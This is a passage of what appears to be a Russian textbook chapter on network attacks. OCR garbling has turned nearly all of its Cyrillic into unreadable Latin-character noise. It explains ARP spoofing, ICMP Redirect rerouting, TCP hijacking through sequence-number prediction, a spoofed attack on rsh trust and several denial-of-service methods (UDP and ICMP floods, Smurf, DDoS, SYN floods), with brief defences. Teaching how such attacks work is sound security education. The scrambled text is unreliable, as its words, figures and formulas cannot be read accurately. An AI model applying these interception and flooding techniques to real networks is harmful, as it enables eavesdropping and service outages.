muacrt csoit IP-azpec ¢ agpecom, ykasauusiM B 3anpoce. Ecin agpe-
il HIC COBIAJAIOT, 3ampoc Hraopupyercsa. Ecim aapeca cosmagaror,
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KOMOBIOTEP NochinaeT orBeT ARP, HO He MHPOKOBCINATENHHBIN, 2
HanpasjeHHabli 1o MAC-agpecy, yKa3aHHOMY B 3anpoce.
OaHOBpEeMEHHO 3ampoINCHHBIH KoMmblotep BHOCHT MAC-
afpec MHULMATOopPa 3anpoca B CBOH k311 ARP.
4. Unnnpatop 3ampoca MONYYaeT OTBET M BHOCHT HOBBIH
MAC-anpec B cBoit kom ARP. Tlocne 3T0ro CTaHOBHTCS BO3MOXKHEIM
oSmeH HEPOPMAIYCH MEXKAY KOMIILIOTEPAMH.

Ecnu xe aBa KOMITPIOTEpAa HAXOMATCS B PA3HBIX CETAX, Ompe-
aenste MAC-agpec nonyuarens Her seoboxozumoctu. [laxersr Oy-
ZyT NEPECHIIaThCH YEPE3 MapUIPYTH3aTop, KOTOPHI HOACTABIAET
ceoit MAC-agpec B ajapecHOe mojie OTIPABHTES NAKETOB. Takum
obpasom, Ha ypoBHe nporokoia IP ykasmiBaeTcss KOHEUHBIH ampec
nonysatens, a va ¢usmieckoMm ypose — MAC-aapec Ompxaiiuero
MapIpyTH3aTopa.

To ecrs, Ang mepexsara cereBoro Tpaduka, Kpakepy nocra-
TOYHO HaB#3aTh KoMilbloTepaM A u B csoit IP-anpec. Anroputm ata-
KH OyJeT BHTIBIACTD ClIeYIOLHM 00pa3om:

1. Kpakep onpeaenser MAC-anpeca xommmsrorepos A u B.

2. Kpaxep ornpasnser Ha BeissieHabic MAC-anpeca xomis-
10TepoB A ¥ B coobmenus, npeacrasnsmomue coboil danbeudup-
posaunsic ARP-oreeTel wa s3ampocsl paspemenus IP-azpecoB »
MAC-azpeca. Kommsrorepy A coobuaercs, yro IP-agpecy xoMnbic-
Tepa B coorserctByer MAC-aapec XOMIbIoTEpa KpaKepa; KOMITHI0-

Tenv B ¢ gémamu oo IP-a Apecy KOMIBIOTED2 A Tamwxe cooTreT-

repy B ¢ aeTCH, KOMIBIOTEP2 COOTEET
creyer MAC-azpec koMmbioTEpa Kpakepa.

3. Kommeiorepsr A 1 B 3anocat nonyuennsie MAC-anpeca s
cou k3 ARP 1 ganee ucnosne3yror MX MUt nepesady cooSmeHukH
Apyr apyry. Ilockoneky IP-agpecam A u B coorserctByer MAC-
ajpec KOMIBIOTEPA Kpakepa, KoMIbloTepsl A 1 B, Hutuero e moxoz-
pesast, oOmaTCs Yepes HoCPeaHnKa, CocOOHOro Aenarh ¢ UX mo-
CIAHMAMH YTO YTOLHO.

Jns 3ammTsl OT TAKHX aTak HAAO mubO MCHONb30BATh CTATH-
geckue ARP tabmmipr, nubo mepuoguyecky npoBEPATs COOTBETCT-
Bue IP 1 MAC-aapecoB koMIs10TEpOB.

2.3. JloxHas Mapupyra3anus.
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Jina nepexsara cereBoro TpadMk, Kpakep MOXKET HOJAMEHHMTDH
pebusii IP-axpec ceTeBoro mapmpyrHsaropa csouM IP-axpecom,
SLIUIOIIHEB  3TO, HANPUMEP, C MOMOIEI0  (anbCHHIHPOBAHHEIX
1C"MP-coobmenuii Redirect. Tlomyuensoe coobmenne Redirect xom-
nmorep A JO/DKEH, BOCIIPHHSATh KaK OTBET HA JAeHTarpammy, mo-
VMANHYEO JPYTOMY KOMIILIOTEPY, Hampumep, B. Ceou aeiicrsus Ha
voobierne Redirect xoMmproTep A ompeenser, UCXOAs U3 COUep-
wuMoro mojrydeHaoro cooOmernust Redirect, u ecnmu B Redirect 3a-
w1, nepeHanpasieHue aeiirarpamm u3 A B B no HoBoMy Mapupyry,
IMCIHO 3TO KOMITBIOTED A H CAENaeT.

Jing BHINONHEHMSA 3TOH aTaKH KpaKep MOJDKEH 3HATH HEKOTO-
|ic 1OZPOOHOCTH 00 OPraHM3aLUK JIOKANILHOM CETH, B KOTOPOM Ha-
wonwres A, B yactHocTH, IP-aapec MapmpyTusaropa, 4epe3 KOTophiii
nuparngercs tpadwux or xommeiorep A x B. 3was 310, kpaxep mMo-
w1 copmuposats IP-aefitarpammy, B koropoii IP-aapec ornpasu-
i onpeaencH kax IP-agpec mapmpyTuzaropa, a moaydaresneM
ynavur xoMmsiorep A. Taioke B aeifftarpammy BKITFOaeTcs coobime-
me ICMP Redirect ¢ nmoneM aapeca HOBOro mMapumpyrusartopa, ycra-
nonncHEbIM Kak IP-anpec xommbrorepa kpakepa. Honyuus taxoe co-
shmende, KoMipiorep A GyAeT OTHpaBIsAT, BCE COOOMEHHS MO HO-
wonty IP-aapecy, T. €. Ha KOMITBIOTED Kpakepa.

Jlng 3ammTH OT TAKOH aTaky CICAYET OTKIIOYMTH (HanpHMep,
+ nomowmpio (aiipeona) Ha KoMIbIOTEpE A 00paboTKy COOGIEHUH
1MP Redirect. Taoxe MOXET IOMOYL NEPHOAMMECKAS MPOBEPKA
v+ 11t 12 TIOSBIICHUE B HEH HENPEAYCMOTPEHHBIX MApLIPyTOB.

2.4. Tiepexsar TCP-coeanHeHM.

Hanbonee m3omperHOI aTakoi nepexeaTta ceTeBOro rpaduka
vuenyer cqurate 3axsat TCP-coepunenus (TCP hijacking), xoraa
#jkCp IMYTEM TEHEPAIMH M OTCEUIKH HA aTaKyeMblii KOMIBIOTEp A
11’ nakeTOB NMPEPHIBACT TEKYIUH CEAHC CBA3M C KOMIbIoTepoM B.
lnee, monB3ysch BO3MOXKHOCTAMH nporokona TCP no soccranos-
winuo npepsardoro TCP-coenuHenus, Xpakep nepexsarkBaeT mpe-
bl CEaHC CBA3H M NMPOJOIDKAET €ro BMECTO OTKIIOYESHHOTO
[ERTTRIRIR 10 4 IR

lporokon TCP (Transmission Control Protocol — ITporoxon
YUPARICHAS TiepeaaucH) sBISCTCA OAHUM M3 0a30BBIX HPOTOKO/IOB
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TpaHcnopTHoro yposas OS], mo3BoisiomuM yCTaHaBIUBATH JIOTHYE-
CKHE COCIMHEHMS N0 BHPTyaTbHOMY Kanany cBssu. [fo stomy kaHa-
Jy TIEPENAOTCA ¥ NPHHMMAIOTCA MAKETH! ¢ PErvCTpanyeH ux nocie-
JOBATENBbHOCTH, OCYINECTBNSCTCS YINPABJICHHE TNOTOKOM IIAKETCB,
OPraHM30BLIBACTCA HOBTOPHAS NMEPEAada MCKAKCHHBIX MAKCTOB, d B
KOHIIE CeaHca KaHay cBs3u paspoiBacrcs. Ilporoxon TCP sasnsercs
CAMHCTBCHHbIM 0a3oBeIM mporokonmoM u3 cemeiicrea TCP/IP,
HMEIOIMM CEPhE3HYIO CHCTeMY MAcHTHHKAupH COODmeHuHi H co-
CANHCHHA.

Jna uaerTndukauun TCP-nakera B TCP-3aronoske cymect-
BYIOT ABa 32-pa’psagHeix uAeHTH(]HKATOpa, KOTOPHE TAKKE HIPAIOT
PONBb CYETYMKA MAKETOB, HA3BIBACMBIX IOPSAKOBBIM HOMEPOM H HO-
MepoM monTeepikacHusA. Takxke B TCP-makere mpHCYTCTBYET mojne
pasmepos 6 6ur, copepxamue ynpasmsouwme daary:

URG — duar cpounocTH;

ACK — ¢unar nogrsepxaeHus;

PSH — ¢nar nepenoca;

RST — ¢ar nepeycraHoBKH COSAMHCHHS;

SYN — ¢nar cHEXpOHM3ALIM;

FIN — ¢nar 3aBepioeHNs COeAUHCHUS.

Paccmorpum nopanok cozaanns TCP-coeanHenns.

1. Ecma xommeiotepy A Heobxomumo cosmats TCP-
COCAHHEHHE ¢ KoMmmbioTepoM B, T0 A moceutaer B cnexyromee co-
ooLHeHHE!

A — B:SYN, ISSa

370 O3HaYaceT, YTO B MEPEAABAEMOM KOMIBIOTEPOM A €000-
menny yeranosick ¢uar SYN, a B none nopsakosoro HomMepa ycra-
HOBICHO HavyainbHoe 32-Outroe 3HaveHue ISSa.

2. B orBer Ha NONY4SHHbIH OT KOMOBIOTEPA A 33aMPOC KOMIIb-
1orep B oreedaer coobmenueM, B koTopom ycranosien 6ur SYN u
ycranosnen 6utr ACK. B mone nopsakosoro Homepa B ycrasasmi-
BACT CBOS HAYANBHOC 3HaUeHHE cyeTdnka — ISSb; mone HOMepa
noATBEpIKAcHHsA OyAeT mpu 3ToM cojepxarh 3uadeHue [SSa, mony-
YECHHOE B IIEPBOM INAKETE OT A, YBEIMYCHHOC Ha eAuHmIly. Takum
obpasom, koMIbioTep B oTBewaeT cneayomuM coodmeHneM:

B -— A: SYN, ACK, ISSb, ACK(ISSa+1)
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3. Hakonen, xoMIpioTep A IOCHUIAET COODIICHHE KOMIILIOTE-
vy B, B koropom: ycranosnen 6ur ACK; none nopsakosoro Homepa
concpkar 3nagenue I1SSa + 1; none noMepa NOATBEPKACHUA COACD-
wirr 3aagenne ISSb + 1. Tlocne sroro TCP-coeaunenne Mexay Kom-
worepamMu A ¥ B cumtaeTes ycTaHOBICHHBIM:

A — B: ACK, ISSa+1, ACK(ISSb+1)

4. Teneppr KOMIBIOTEP A MOXKET HOCEUIATH MAKSTH C JAHHBIMHU
na koMIpIoTEp B 1o Tomeko wro cozmansoMy BuprtyambHoMy TCP-
CAHATY:

A — B: ACK, ISSa+1, ACK(ISSb+1); DATA

DATA — obo3nagaer nepeaaBacMbic JaHHBIE.

N3 paccmorpensoro Bhime amroput™Ma cosganus TCP-
+ OC/IMHEHHS BHIHO, YTO ¢AMHCTBEHHBIMH HAcHTH(ukaTopamu TCP-
wooncaToB M TCP-coeauHenus aBsioTCs 48a 32-0uTHBIX napaMerpa
HOpPAAKOBOrO HOMEpPa W HoMepa moarsepkinenus — ISSa u ISSb.
( 1¢0BATENBHO, €CIM KPAaKepy yAacTcs NojodpaTs TeKymue 3Have-
nin rapameTpos ISSa m ISSb maxera TCP ana mammoro TCP-
+CNMHEHHS M TIOCTIATh nmaker ¢ noboro kommneiorepa UnHreprera or
amcnn knreHTa garsoro TCP-nogxodenus, 10 AaHHbIH naker Oy-
¢ ¥ BOCOPHHAT XaK BCPHBIH.

Taxum 00pa3oM, s OCYIECTBICHNS OMMCANHOMN BHILIEC ATAKH
m 0OXOMUMBIM M TOCTAaTOYHBIM VYCIOBHEM SABIAETCA 3HAHHE ABYX
wowyigx 32-6urHpix napamerpoB ISSa u ISSb, upenTHOUUMpYIO-
nus TCP-coeauuenne. PaccMOTpiM BO3MOXHBIE CIIOCOOR HX HONY-
«wi. B cnydgae, korja KOMIBIOTEpP Kpakepa MOAKIOYECH K araKkye-
“OMY CETEBOMY CEIMEHTY, 3aJa4a Nomy4eHus 3eaqeHuii ISSa u ISSb
#IBICTC TPUBHATBHOH H PEINAcTCs IMyTeM aHAIN3a CETEBOro Tpadu-
i (I€OBATENBHO, HAJO YE€TKO NOHMMAaTh, 910 mporokon TCP mo-
WoIIET B IPHHIMNG 3aIUTHTL COCXUHCHHE TONBKO B CIY4ac HEBO3-
MOKHIOCTH NIEPEXBATA ATAKYIOIHM COOOINCHHMH, mepeAaBaeMbIX IO
WIIOMY COSHHEHHIO, TO €CTh TONHKO B CIIY4ae, KOTAA KOMIbIOTED
*1KCPA TIOAKIIIOYEH K APYrOMY CETEBOMY CEIMCHTY.

losromy sanbombumni HHTEpEC A HAC MPESACTABILIOT MEXK-
* ('MCHTHBIE aTaKH, KOTJ[a aTaKyIOIMMH H €ro el HaXOAATCA B pa3-
nix CCPMEHTAX CeTH. B 3ToM cnyuae 3azava monydeHHs 3HAYCHME
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ISSa u ISSb sBnsercs mosonbHO cnoxHoM. Jlia ee pemenus B Ha-
CTOALICE BPEeMA MPEATOAKEHO TOMBKO ABa criocoba:

— Maremarideckoe MpeACKa3aHHE HAYAIHHOICO 3HAYCHHSN na-
pamerpos TCP-coeqvHEHHS IKCTPANONAMEH NPEABIAYIHAX 3HAYC-
Huit ISSa u ISSh.

~ Hcnonp3oBanne ysa3sumoctedl maeHTH(UKAIME aOOHEHTOB
TCP-coexuHenns naa ataku Ha rsh-cepeep UNIX.

TlepBas cnoco0 OCHOBaH Ha YIIIyONCHHBIX HCCIEXOBAHMAX
peaymsamuit mporokoia TCP B pasnuuHEIX ONCPANHOHHBIX CHCTE-
Max. Kak mokaswiBaer mpaxrudeckdii amnamus, B OonpumucTBe O
HCTIONB3YIOTCA HE CIy4aiHbIe YHCIA, a MOCICAOBATCIBHOE YBEMHHe-
nue ISN Ba HekoTOpOE 3HaYEeHuE O MPOIESCTBUY HHTEPBATA BPEMC
aH. Tak, s Windows NT ISN yeenuwguBaercs Ha 1 xaxasie 10 mc.
B Linux 1.28. ISN semmcmsercs mo cuepymomeit dopmyie:
ISN=mcsec+1 000 000-sec. Jna moboit OC moxno Haiitd Wi no-
CTPOMTH CaMOMY 3aBHCHMOCTH 3HadcHus ISN ot BpemenM u uenom
30BaTh € JUIA Npeackazanus suagcums ISN.

Ho, Tax xax 3nagenus ISSa u ISSb moxHO npeackasars 1o
KO HPHOIMDKEHHO, KPaKepy MPHUACTCS OCYHIECTBUTh mepebop BCCk
BO3MOMKHEIX COYETaHUH! B NPEAeNax NOrPEIIHOCTH MPCACKAZAHMA.

Bropo# criocod ocHOBaH HA ys3BHMocTaX cucrembl UNIX mo
HACHTUDEKAIHH JOBEPEHHHX KOMIBIOTEPOB.

JOBCPEHHBIM N0 OTHOINCHMIC K KOMIBIOTEPY A Ha3bIBASION
cepeep B, x xoropomy mone3oBaress A MOXET NOAKMIOWHTHCH O
ayTeHTHQUKANMH C MOMOMIBIO F-CIyxKObl (r OT remote — cyxba
yAanenHoro gxocryna) B. Emuncrsenso#f ayremruduimpyromch
nonb3osarend nHGopmatmeil s r-cayxOu asnserca [P-aapec kom
HBIOTEPA, ¢ KOTOPOTO HOAL30BATENAb OCYINECTBIIAET AOCTYIL.

[pu araxe Ha r-cayx6y BCS CHONKHOCTBD JUIA ATAKYIOWIEro 31
KJIIOYACTCA B TOM, 9TO €My HEOOXOMMMO TOCHaTh MAKET OT HUMEiin
NOBEPEHHOI'O KOMITBIOTEPA, a4peC KOTOPOTO YKA3BIBACTCH KAK aJpl
ornpasurens. CrenoBaTebHo, OTBeTHBIH AKEeT GyACT OTIIPABICH Ha
JOBEPEHHBIH KOMIBIOTEP, 4 HE HA ATAKYIOLIMIA.
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Paccmorpum cxemy 3100 aTaku:

Ilycrs xommbrorep A sBRseTcst JOBEPEHHBIM 110 OTHOLIECHUIO K
vepsepy B. Kovmwiorep C — 310 koMmBIOTED Kpakepa.

1. Buauane xpaxep orkprisaer Hactosmee TCP-coeaunenne ¢
vepsepom B Ha moboit TCP-nopr (mail, echo u 1. 1.). B pesynsrare
WIAKEP TIOMY4HT TeKymee 3Hayenne ISNb. Hanee xpakep or umenn
noMrbioTepa A nocsuiaet Ha cepeep B TCP-sanpoc Ha oTkpeiTHE
COCUBCHA S

C («A») — B: SYN, ISSc,

2. Tlonyaus aror 3anpoc, B anamasmpyer IP-agpec ormpasm-
109 M PEITAEeT, 910 NakeT npumén ¢ kommerorepa A. CregoBarens-
no, cepeep B B orseT nocktaeT Ha A HoBoe 3aucHne ISNb';

B — A: SYN, ACK, ISSb', ACK(ISSc+1).

3. C nuxorza He momy4uT 310 coobmeHue ot B, wo, HCHONB3YH
npeniayimee spadenue ISSb u cxemy s monygenus ISSb’ npu no-
MOIM. MATEMATHIECKOTO NPCACKA3AHHSA, KPAKep MOXET MOoCHaTh Ha
I waker:

C («A») — B: ACK, ISSc+1,ACK(ISSb'+1):

Js TOro 4TOGE NOCIATE 3TOT NMAKET, BEPOATHO, NOTPEGYeTCA
nepehpaTh  HEKOTOPOE  KONMHECTBO — BO3MOMXHBIX  3HAUCHMIA
ACK(ISSH' + 1), Ho He morpebyercs moabop ISSc + 1, Tax kak 3ToT
vapamerp TCP-coenurenus Guin nocnan ¢ xommeiorepa C Ha cepsep
' w 1icpBOM makere.

B cnyuae ocymecrsncHHs XaHHOH aTaké mepen KpaKepoM
WO INHKAET creayoman mpobnema. Tax xax kommsiorep C mockiaer
winer (1) Ha cepsep B or umernn xommsiorepa A, 1o cepsep B orse-
1 vakeroM (2) umerHo xommbiotepy A. Ho Tak kak xommbiorep A
v nockiiant Ha cepeep B Hukakoro maxera ¢ 3anpocom, To A, mony-
‘win orseT ot B, nepenwter na B naker ¢ 6urom RST — 3axpits co-
ravnciee. Kpakepa, #a xommbiorepe C, 310, ecTecTBeHHO, HE yCT-
{MIIGICT, TIOSTOMY OH JOJDKEH BRIBECTH HA HEKOTOPOE BPEMS KOMITh-
wiep A U3 cTpos.

B urore rsh-cepsep Ha B cuwrraer, wro x Hemy moaxmoamics
1IWI0BATEND € AOBEPEHHOTO KOMITHIOTEPA A, 4 HA CAMOM AENE 3TO
wpawep ¢ komnbrorepa C. M xors nakersi ¢ cepsepa B Huxorza He
HoryT Ha KOMITbIoTep C, Kpakep MOXET 3aCTaBHTh CEPBEp BHIIION-
1M1 11 CBOR KOMAHZBL.
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W3 pacCMOTPEHHBIX HaMH aTaK, MOXKHO CAENATH BBIBOX, 9TO
NEPEXBaT CETEBHX JAHHBIX NpeAcTaBmser coboit nauGonee sddex-
THBHBIH METOA CETEBRX ATAK, TO3BOISIOMMUH 3IOYMBIILICHHHKY T0-
AYYUTH NPAKTAYCCKH BCIO HHGOPMAIHIO, HXPKYIUPYIOMYIO 1O CETH.

TpuBeneHHBIC BbME HPAMEPH (KOTOPHMH BO3MOXHOCTH
KPAKepoB He OrpaHHYMBAIOTCA) YOEAAAIOT B HEOOXOAUMOCTH 3aIH-
TH KOH(UAEHUMANBHON MHbopMaim, nepeaasacmoit no cetu. [le-
peaBas CoOBLIEHUS 10 CETH, CEAYET IOMHHTD, 4TO Jio0as kabems-
Has CHCTEMAa CETH YA3BHMA, W 000 MOAKIIOYMHBUIMMCI K CETH
CMOXeT BBUIOBHTh M3 HEE BCE TEpEiaBacMbic CEKPETHBIC coolmme-
HUSL.

EQMHCTBEHHBIM METOAOM 33H{UTH OT IIEPEXBATOB CETEBOTO
TpaduKa ABIASTCA HCIONb30BAHUE MporpamMm muQppoBaHus nepeia-
BaEMBIX COOOIICHMI.
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TJIABA 7.
CereBbie araxH. Araxu DoS

AGb6pernarypa DoS pacmmigpossiBactes xak Denial of Ser-
VICC HITH, B IIEPEBOJC HA PYCCKHH A3bIK, — OTKa3 B 00CTY )KHBAHHUH.

06 >THX aTakax MBI YIIOMHMHATY B IPEABIAYINUX IIaBaxX, KOraa
|PWCCMATPHBATIH aTak¥ Ha Opay3epbl, JNEKTPOHHYIO IOYTY, CEPBHC
{('QQ 1 METORBI IEPEXBATA CETEBLIX JAHHEIX.

OcnoBras uens arak DoS — BEIBECTH U3 CTPOS WITH HAPYLIHTH
POOTOCHOCOGHOCTL KOMIIBLIOTEPOB, CETEH, CETEBRIX CITYXKO H T.IL

B GonpimscTBE Cydaes arakd DoS nposoast:

— C XyNMFaHCKHMY LETIIMH;

— AJI1 HapymeHus paboTocnocoOHOCTH Cnyx0 W KOMIBIOTE-
jron KOEHKYPCHT,

— ISl BBIBOJAQ M3 CTPOS MOAMCHACMOrO HJIH MEIIAIOMIErO Bhl-
IUIHCHAKO OCHOBHOM 33Ja9€ Kpakepa KOMIIBKyTEpa.

—~ B KaYCCTBE KOHTPATAKY HA ATAKYIOIHI KOMIILIOTED;

— ¢ LEMBIO IPOBCPKH YCTONYHBOCTH CHCTEMEL.

Urak, rmasHas nenb ataku DoS — IpUBECTH KOMIBIOTEPHYIO
“HCUICMY B TAKOE COCTOSHHE, KOTAA €€ (pyHKIHOHMpPOBAHME CTAHO-
wincy BeBo3MoKHbIM. O0sraHo ataku DoS aenst Ha ueTsipe kiacca:

— ATaKy HACHIICHHEM TONOCH! ITPOIIYCKAHUS;

— ATaku Ha HCTOLICHHE PECYPCOB;

— ATaKu HEKOPPEKTHEIMH CCTCBBIMM NAKETAMH;

~ Araxu panscubHIEPOBAHHBIMA CETEBHIMH ITAKETAMM.

1. ATaky HacCHINCHHWEM IIONOCH! IPONYCKAHWA — OTCHINASA HA
A LIKYCMBIH KOMITBIOTEp OOMBINOC YHCNO MAKETOB, Kpakep NepeHa-
CMOGICT TIONOCY MpOmycKaHusi onpeaencHHoit cerw, (MnTepHera,
NC). Takyro aTaky Kpakep MOMKET BHIIOTHHTH ABOSKUM 00pa3oM.
' ni OH HCHONB3YET CETEBOE NMOIKIIOUCHHE ¢ OONbINOH MONOCOM
NONYCKAHHAS, TO MY HHYErO HE CTOHMT 3aTONHTh NAKETAMM CETEBOE
VO \MHCHEE € TIONIOCOH YIPOMyCKAaHHMs, ckakeM, 56 Kour/c (Mozem-
noc noaxmoueHue). Jlpyrol BapHMaHT — HCHONB30BAHHE YCHIIH-
#OINCH CETH, KOTAA Y KpaKepa HE CIAMIMKOM ORICTPHIH KaHan CBA3M,
nanpuMep, MoJIEMHoe coeauHeHue. B stom cayuae ¢ momompio on-
|WACHCHHBIX TEXHOJIOTHH KpaKEp MOCHUIACT MOTOK NAaKETOB Ha ara-
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KYEMBIil KOMIBIOTEP CpPa3y CO BCEX KOMIBIOTEPOB YCHIMBAIOLICH
CETH.

YroObl IEpENONHATE NMOJIOCY MPOIYCKAHMSA JIMHMM CBA3M ara-
KyeMOro KOMIBIOTEPA, KPaKep JO/DKCH NPHHATL BO BHHMAHWE BO3-
MOXHOCTH CBOEro COOCTBEHHOIO CETEBOro coeauwHeHHs. Ecmu xpa-
KEPCKMil KOMIIBIOTEp HanpaMylo mojgkmodcH k MHTepHeTY ¢ nomo-
B0 «TOJICTOrO KaHana», HAmpuMep, depe3 coexunerue T1, To emy
BIIO/THE O CHIIAM B OJMHOUYKY «3aBaJIUTH» J0OO# BeG-caiit, He ro-
BOPS YK€ O KIHEHTax, paboTaromux 4epe3 MOACMHHIC HOMKIIOUE-
HUi. Beuionaue naBrHOOOpa3HOE FEHEPHPOBAHHE MAKETOB, KpakKep
3ANOJHACT UMM JIMHUIO CBA3H ATAKYECMOro KOMIIBIOTEPA, MOCHC 4E€T0
paboTa aTAKOBAaHHOIO KOMIIBIOTEPA B CETH CTAHOBHTCA HEBO3MOXK-
HOiA.

J{nst BHINONHEHKS TAKOR aTaky CyIHECTBYET MHOXECTBO HHCT-
PYMEHTOB, MCHOJB3YIOMMX Pa3iMYHLIE CETCBbIC NMPOTOKOMHL. Pac-
CMOTPHMM IPHHIMII OPraHH3aIMH ABYX arak no nporokonaM UDP u
ICMP.

1.1. ®aynep UDP.

Kakx secreyer w3 nassanmsa, ¢uyaep UDP xomxen «3arom-
asTH» arakyeMoro kmueHTa nakeramu UDP, mHapymas pabory xoM-
nBIOTEPA.

B pesynsTate paboTh Takoil IPOrpaMMel CETEBOC MOMKIIOTYC-
HHE CTAHOBHTCA 3aHATHIM B OCHOBHOM IipuemMomM maketos UDP, pe-
aKUHMA KOMIILIOTEPA 3aMEUIAETCS, IPOLECCop 3aBuMaroTcs o0pabor-
KO# nocrynaromeii 6eCCMBICICHHONH HHGOPMAIMH.

1.2. ®ayaep ICMP,

®ayzepst (umun Sombeprnt) ICMP (Internet Control Message
Protocol — Tlporoxon ynpasmsmomux cooOmenuii Mareprera) neit-
CTBYIOT JHAJOTMYHO PaHEE PACCMOTPEHHBIM IylepaM, TONBKO ALt
resepanud coobmenuii ucnons3yercs nporokon ICMP. Beibop 310~
IO IPOTOKONA JJI OPraHH3auMy ATAKH HE ClydacH. Tak Kak mporc-
kon ICMP npeaxasHauen ana tecrapoBanms paborsr cetu TCP/IP,
€ro NMAKETH HMCIOT BRICOKHI MPHOPHTET OOCIY)XHBaHMs, 4 HX JABY-
Ha CIIOCOOHA TIOJIHOCTLIO OCTAHOBHTD paboTy ceTu.
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1.3. Araka Smurf,

PaccmorpeHHBIE HAME aTaky NPEANONATANH, YTO KAHAT CBA3M
WMCPTBEL YCTYIIAET MO MPOMYCKHOH COCOOHOCTH KaHAY aTaKyiomei
cropoHn. Eciu sxe Bce Ha000pOT, HO Kpaxepy NpUAETCS PUGETHYTh
« fonee CroxHOI artaxe.

Bwmecto Toro 9robh! OTCHIIATE MAKETHI C OAHOTO KOMITBIOTEpA,
n arake Smurf ucnomesyerca ycummBaiomas cers. C xommbrotepa
KPAKECPA HA MIMPOKOBEIMATCIBHBIH aPeC CETH, KOTOPAs Ha3bIBACTCS
YCUINBAIOMEH, noceaiorcs makerst ECHO (3x0) nporokona
IC'MP, xOTOpBi¢ OOBIYHO HCIONB3YIOTCA IS JHATHOCTHKH CETH. B
PACCHITACMBIX MAKETAX KPAKEP MOAMEHACT HCXOIHBIH aqpec MaKeToB
II>-aapecoM aTaxyeMoro KOMIBIOTEP, IIOCAE MEro BCE KOMITLIOTEPHI
VOILIMBAIOMIEH CETH MOCHIIAIOT OTBETHHIC MAKeTHI sxepTBe. DPdext
1 TAKOW ATAKM MOXET OHITH BECEMA BEITHK, NOCKONIBKY £CIIM YCHITH-
MU0 CETh COCTOMT U3 HECKONBKHMX JECATKOB KOMIBIOTEPOB, TO
o ECHO-3anpoc pasmepom 10 KGaift Moxer BHI3BaTh NaBHHY
1eTOB OOIIM 0ObEMOM HECKOIBKO MerabaifT, M CeTeBOe COCAHHE-
111 ATAKYEMOr'0 KOMIIBIOTEPA MPOCTO 3axinebHercs.

1.4. PacnpesencHHbIE ATAKH.

IJ1o maubonce onacHas pa3HOBHAHOCTH atak DoS. Cyts artax
boS (Distributed DoS) cocTout B moMemenns Ha CETEBHIX KOMIIb-
WICPAX IPOrpaMM-KIHEHTOB, PabOTAOWMX 110 YHPABICHHEM LCH-
1paitbHOM KOHCONH. B onpeseneHHEIl MOMEHT BpEMEHH 11O KOMAHAE
¢ KOMOBKOTEPA KPAKEpa 3TH KIHEHTHl, OOLIYHO 3a3BIBAEMBIC «30M-
O, HaqMHAIOT aTtaky DoS no ykazanHomy aapecy WUnrepurera.

Hauunas ¢ 2000 roga atakamu DDoS 6sutk nopakeHsn MHO-
e cepeepnt Minteprera, Brmouas microsoft.com. Jlns pacceumxu
1))OrPAMM KITHEHTOB HCIIONB3YIOTCH KAK BHPYCHI, TaK M Opemms B 3a-
nuric 6pay3epoB, MOYTOBBIX KIMEHTOB U APYTHX CEPBHCOB.

2. Araxn Ha HCTOIMEHHE PECYPCOB — 3AKIH0YACTCA B TOM, 4TO,
oICLIasE Ha aTaKyeMblﬁ KOMITBIOTCP CHCHHAIILHO NOATOTOB/ICHHBIC

IKCTBL, KPAKEP BBIHYXJACT €ro TPATHTh CBOH PECYPCH Ha oGpabor-
uy rUX naxeTos. IIpoHCXOaHT 3aXBAT CHCTEMHBIX PECYPCOB aTaKye-
MOI'O KOMITLIOTEPA — LEHTPATBHOrO NPOLECCOpa, NAMATH, AHCKOBO-
to LPOCTPAHCTBA M JPYrHX, IOCHE HEr0 KOMMIBIOTED BHIXOAHT H3
Lipost.
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Kak npasmio, xpakep, NPSANPUHUMAOIMH AAHHYIO aTaky,
yXKe HMeET AOCTYN K oOmMM pecypcam CHCTEMBI M CBOMMH ACHCT-
BHAMH FIBITAETCA 3aXBATHTh JOTONHHTCIBHBIC PECYpPCHI, YToOnl 3a-
TPYAHMTb JOCTYH K HUM APYTHX MOI630BaTERCH. D11 JCHCTBHS MO-
T'YT NPHBECTH K HEAOCTYITHOCTH CEpBEpa ISl MOMITIOUCHHIH OCTaNb-
HBEIX TIOJB30BATENECH, 3aBHCAHMIO IIPOLECCOB M TEPETIONHEHUIO JHC-
KOBOrO IIPOCTPAHCTEA.

Ogzna u3 manbonee muTtepecnsix u 3ddexrusurix atak DoS
aToro Tuma peanusyerca ¢ nomompio ¢ayaepa TCP-cocauHenui.
Gnynep cozmaet GONBIIOE KONMYESCTBO «JICKHBIX» TCP-coeannenuit
€ KOMITRIOTEPOM-XKepTBOi. Tak kxak, komuesioTep-*epTBa 0bs3aH 06-
paborarh Kaxapiil 2aNpOC, COXPAHUTH €ro MAPaMETPHl B MAMATH M
HOCHIATh OTBET, TO YEPE3 HEKOTOPOE Bpems CBOOOAHBIX PECYypCoOB Y
XKEPTBHI He ocTaHercs. CHeacTsHeM 3Tol aTakd CTaHeT Mbo «3aBu-
CaHHe» KOMITBIOTEPA-XKEPTBh!, IHO0 HEBOZMOMKHOCTh YCTAHOBNCHMSA
JISraibHBIX COCAMHECHHUM.

3. ATaky HEKOPPEKTHBIMH CETEBHIMM IIAKCTAMH — 3aKIO9a-
IOTCS B OTTIPaBKE HA aTAKyeMbI KOMIbBIOTEP O0coOBIM 00pa3oM Hc-
KaXCHHBIX MAKETOB, C IIOMOIIBIO KOTOPHIX Kpakep Hapymaer padory
CETEBOTO MPOrPaMMHOI0 OOECIICUCHHA WM ONEPALMOHHON CHCTEME!
KOMITBIOTCpA.

HexoppexTnnie, T.e. HE COOTBETCTBYIOINC OMNPEREICHHBIM
HPOTOKONIaM CETEBHIC MAKETHI MOTYT CTaTh HMPHYMHON COBEPLICHHO
HEKOPPEKTHOr0 MOBEACHHSA KOMIIbIOTEPA, NOMYYHBIICTO HA BHEMIHMN
NOPT JaHHbIEC, ¢ HEMOHATHOH, T. €. HE NMPEXYCMOTPEHHOH pa3pabor-
YHKOM CTPYKTYpOH JaHHBIX. TaxuM oOpasoM, mogoOHbIE aTakKu BCE-
LENO OCHOBaHBI HA HEAOCTATKAX M OMHOKAX NPOrpaMMHPOBAHMIS.
Xakepbt ¥ KPaKkepH HACTOHYHBO MINYT TAKHC YA3BHMOCTH, a paspa-
GoTIHKH HENPEPHIBHO HCTIPABIIOT HAMJCHHBIE HEXOCTATKH — M BCE
3TO IPOTHBOCTOAHHE JUIATCH 630 BCAKOH HANEKHB Ha OKOHYAHHE
y3KE MHOTO JIET. PacCMOTPHM HEKOTOPHIS «KJIACCHYECKHE» ATAKH I10-
JOOHOTO posa.

3.1. Araku Nuke.

